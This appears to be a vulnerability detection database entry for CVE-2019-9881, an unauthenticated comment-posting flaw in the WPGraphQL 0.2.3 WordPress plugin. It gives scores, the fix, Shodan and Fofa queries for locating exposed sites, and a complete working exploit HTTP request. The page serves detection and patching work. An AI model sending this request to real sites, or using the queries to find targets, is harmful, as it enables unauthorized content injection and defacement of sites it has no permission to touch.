🔙 목록으로 돌아가기

CVE-2019-9881: WPEngine WPGraphQL 0.2.3 - Unauthenticated Comment Posting

TitleWPEngine WPGraphQL 0.2.3 - Unauthenticated Comment Posting
Authorintelligent-ears
SeverityMedium
ImpactAn attacker can exploit this vulnerability to post unauthorized comments on WordPress posts, potentially leading to content manipulation and defacement.
RemediationUpdate WPGraphQL to version 0.3.0 or later to fix this vulnerability.
CVSS Score5.3
EPSS Score0.1924
CVE IDCVE-2019-9881
CWE IDCWE-306
Shodan Queryhttp.title:"WordPress" "graphql"
Fofa Querybody="/wp-content/plugins/wp-graphql/"
Tags cve cve2019 wp wp-plugin wordpress wp-graphql wpengine unauth vkev vuln

🔍 Vulnerability Description

The createComment mutation in the WPGraphQL 0.2.3 plugin for WordPress allows unauthenticated users to post comments on any article, even when ‘allow comment’ is disabled.

🌐 HTTP Request

POST /graphql HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.5
Connection: close
Content-Length: 164
Content-Type: application/json
Accept-Encoding: gzip

{"query": "mutation { createComment(input: { postId: 1, userId: 1, content: \"38FZzNOYx24GBdBETaUvNGhKHcX\", clientMutationId: \"yemkk\" }) { clientMutationId } }"}

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-9881.yaml

🦈 Packet Capture: ⬇️ Download cve-2019-9881.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A